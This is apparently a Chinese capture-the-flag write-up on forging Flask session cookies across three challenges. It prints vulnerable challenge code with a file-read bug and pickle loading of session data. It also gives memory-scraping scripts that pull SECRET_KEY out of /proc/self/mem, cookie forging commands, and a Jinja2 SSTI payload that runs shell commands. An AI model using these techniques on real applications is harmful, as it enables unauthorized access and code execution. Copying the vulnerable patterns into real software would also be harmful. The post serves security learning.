Flask Session伪造

2023-01-13
1254

前言

Flask的Session伪造之前并未有太多了解,在跨年夜的CatCTF中遇到了catcat这道题,因此对此类题目进行一个简单总结,lx56大师傅已经对Flask有很详细的介绍了,因此这里是站在巨人的肩膀上看世界了属于是,膜拜大佬。

Flask

什么是Flask呢,他其实是一个基于Jinja2模板搭建而成的应用框架,具体如下所示

Flask是一个Web应用程序框架,使用Python编写。该软件由ArminRonacher开发,他领导着Pocco国际Python爱好者小组。该软件基于WerkzeugWSGI工具箱和Jinja2模板引擎.

Session

Flask中的Session,它是存在于客户端的,也就是说我们在进行登录过后可以看到自己的Session值,而当我们对这个Session值进行base64解码后,就可以读取它的具体内容。
对应Flask,它在生成session时会使用app.config['SECRET_KEY']中的值作为salt对session进行一个简单处理,那么这里的话,只要key不泄露,我们就只能得到具体内容,但是无法修改具体内容,因此这个时候就引发了一个问题,当key泄露的时候,就出现了内容伪造的情况,比如具体内容为{'name':'123'},而当我们掌握key时,可修改内容为{'name':'admin'},从而达到一个越权的效果,因此我们接下来就要说说CTF中怎么获取Key

Key的获取

有两种情况
第一种情况,当源码泄露时,Key也可能会泄露,它的泄露位置是config.py,在[HCTF2018]admin中有所体现。
第二种情况,就是当存在任意文件读取漏洞时,我们可以通过读取/proc/self/maps来获取堆栈分布,而后读取/proc/self/mem,通过真正则匹配筛选出我们需要的key,这个在[2022蓝帽杯]file_session中有所体现。
这里就以他为例来说一下这个Key的获取,其源码如下

import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
 SECRET_KEY=SECRET_KEY,
))


# apt install python3.8

@app.route('/', methods=['GET'])
def index():
 return "/download?file=?"


@app.route('/download', methods=["GET", 'POST'])
def download():
 print(SECRET_KEY)
 filename = request.args.get('file', "static/image/1.jpg")
 offset = request.args.get('offset', "0")
 length = request.args.get('length', "0")
 if offset == "0" and length == "0":
  return open(filename, "rb").read()
 else:
  offset, length = int(offset), int(length)
  f = open(filename, "rb")
  f.seek(offset)
  ret_data = f.read(length)
  return ret_data


@app.route('/filelist', methods=["GET"])
def filelist():
 return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"


@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
 if session.get('data'):
  data = _loads(base64.b64decode(session['data']))
  return data
 session["data"] = base64.b64encode(b"error")
 return 'admin pickle'


if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=8888)

可以看到它的这个key是随机生成的uuid,在download路由中存在key,我们这里注意到他有三个参数,分别是fileoffset以及length,接下来按我们刚刚所说,第一步通过/proc/self/maps读取堆栈分布,然后在读取/proc/self/mem的内存数据。这里的话需要说明一下,内存中存在一个动态库/usr/local/lib/faketime/libfaketime.so.1,这个动态链接库是可以劫持程序获取时间时的返回值。在这里插入图片描述
因此我们这里可以使用这个来进行一个简单筛选,读取出堆栈分布,接下来进行读取内存,此时用一个uuid格式的正则匹配,就可以得到key(由于没有找到复现环境,这里使用的截图参考自其他师傅的Wp)

import requests, re

url = "http://192.168.244.133:7410/"
maps_url = f"{url}/download?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
for m in maps:
 start, end = m.split("-")[0], m.split("-")[1]
 Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
 read_url = f"{url}/download?file=/proc/self/mem&offset={Offset}&length={Length}"
 s = requests.get(read_url).content
 rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
 if rt:
  print(rt)

在这里插入图片描述
此时就可以进行Session伪造了

题目

CTFshow内部赛[蓝瘦]

题目环境https://ctf.show/challenges
打开题目是一个环境框在这里插入图片描述
看源代码是否有注释在这里插入图片描述两个注释

param:参数,这里的话就可能是提示有名为ctfshow的参数
key:这里的话联想到FLask的Secret_key

随便输入一下,成功进入
在这里插入图片描述
界面回显admin,看一下cookie

Cookie: session=eyJ1c2VybmFtZSI6IjEifQ.Y7bSGw.KsS3ZA9BBEYGaflk2Sm5wS3dthw

flask_session_cookie_manager3.py进行解密

python flask_session_cookie_manager3.py decode -s "ican" -c "eyJ1c2VybmFtZSI6IjEifQ.Y7bNzg.k_DFbUcMkBDAZwZuKR2gvFuiQhc"

在这里插入图片描述
得到数据为{'username':'1'},猜测这里应该是想让我们修改为admin,因此修改1admin,而后进行加密

python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "ican"

在这里插入图片描述
将得到的Session去替换网站上的在这里插入图片描述
提示缺少参数,这里想到之前的ctfshow,拿上去看看在这里插入图片描述
有回显,想到这里可能是SSTI,检验一下在这里插入图片描述
用语句直接打

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
//ls后没找到flag,猜测藏环境变量里了,因此直接看env即可

在这里插入图片描述

[HCTF2018]admin

题目环境[HCTF2018]admin
进入环境后发现有两个功能点,注册和登录
在这里插入图片描述联想到SQL的二次注入,但尝试过后发现并非如此,此时无意间查看到修改界面处的源代码中存在注释
在这里插入图片描述
应该是源代码,查看配置文件后发现
在这里插入图片描述
key泄露,这里应该是考察Flask的session伪造,因此我们接下来对Cookie中的Session进行解密

python flask_session_cookie_manager3.py decode -s "ckj123" -c "Session值"

在这里插入图片描述
修改nameadmin,再进行加密

python flask_session_cookie_manager3.py encode -t "修改name为admin后的json字符串" -s "ckj123"

在这里插入图片描述
替换一下
在这里插入图片描述
成功获取Flag

CatCTF[cat cat]

题目环境https://ctfm.lxscloud.top/category/test/challenge/13
发现有file,尝试目录穿越,读取文件源码
在这里插入图片描述
代码有点乱,这里可以⽤bytes decode()⽅法获取格式化的源码
在这里插入图片描述
整体源码如下

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
 __name__,
 static_url_path='/',
 static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
  cats_list.append(i[:i.index('.')])

 return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

 return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1:
  return flag
 else:
  session['admin'] = 0
 return "NoNoNo"


if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

首先映入眼帘的是flag部分

if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag")

这里的话可以看出是读取并删除flag文件,然后我们看哪里可以获取flag,看到admin路由

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1:
  return flag
 else:
  session['admin'] = 0
 return "NoNoNo"

admin=1时会返回flag,这个应该是需要伪造admin了,这里从源码中可以看出是Flask框架,所以这里的话应该就是Session伪造了,想要伪造SessionKey是必不可少的,我们这里注意到Key部分的代码

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

可以看到Key是随机生成uuid后去除-而后再拼接*abcdefgh组成的。 获取key的话,这里联想到Python存储对象的位置在堆上,我们这里的app是实例化的Flask对象,key的位置是app.config['SECRET_KEY'],所以我们理论上可以通过读取/proc/self/mem来读取key,但由于/proc/self/mem内容较多,同时存在不可读取的内容,直接读取它的话会导致程序崩溃,所以这里我们采用的方法是先读取/proc/self/maps获取堆栈分布,而后再在其中读取/proc/self/mem,读取对应位置的内容,接下来利用正则匹配筛选即可获取key,这个与蓝帽杯file_session中的获取key部分有异曲同工之妙,具体可以看这篇文章
https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ
然后读取文件部分的话,是info路由

@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

 return render_template("detail.html", catname=name, info=cat(filename, start, end))

获取到三个可控参数,startend以及file,我们这里可以参考蓝帽杯的Wp,简单修改一下参数和筛选规则,就可以得到key,构造脚本如下

import requests, re

url = "http://f014a421-a286-4ff6-a275-4fa0488315d6.ctfm.lxscloud.top/"
maps_url = f"{url}/info?file=../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
#print(maps)
for m in maps:
 start, end = m.split("-")[0], m.split("-")[1]
 start, end = str(int(start, 16)), str(int(end, 16))
 read_url = f"{url}/info?file=../../proc/self/mem&start={start}&end={end}"
 s = requests.get(read_url).content
 rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
 if rt:
  print(rt)

运行结果如下图
在这里插入图片描述
成功获取key,接下来利用flask-session-cookie-manager来伪造session
访问admin路由,获取session
在这里插入图片描述
接下来我们进行解码

python flask_session_cookie_manager3.py decode -s "密钥" -c "Session值"

在这里插入图片描述
可以看到这里结果为{'admin':0},我们修改为{'admin':1},再对其进行加密

python flask_session_cookie_manager3.py encode -s "28d470b5a8164df4b6c77ce187e52e6d*abcdefgh" -t "{'admin': 1}"

在这里插入图片描述
接下来将伪造的Session值拿去替换掉网站的Session,再刷新界面
在这里插入图片描述
成功获取到Flag

参考文章

https://lxscloud.top/2022/10/09/Python_Flask
https://www.leavesongs.com/PENETRATION/client-session-security.html

转载时必须以链接形式注明原始出处及本声明

扫描关注公众号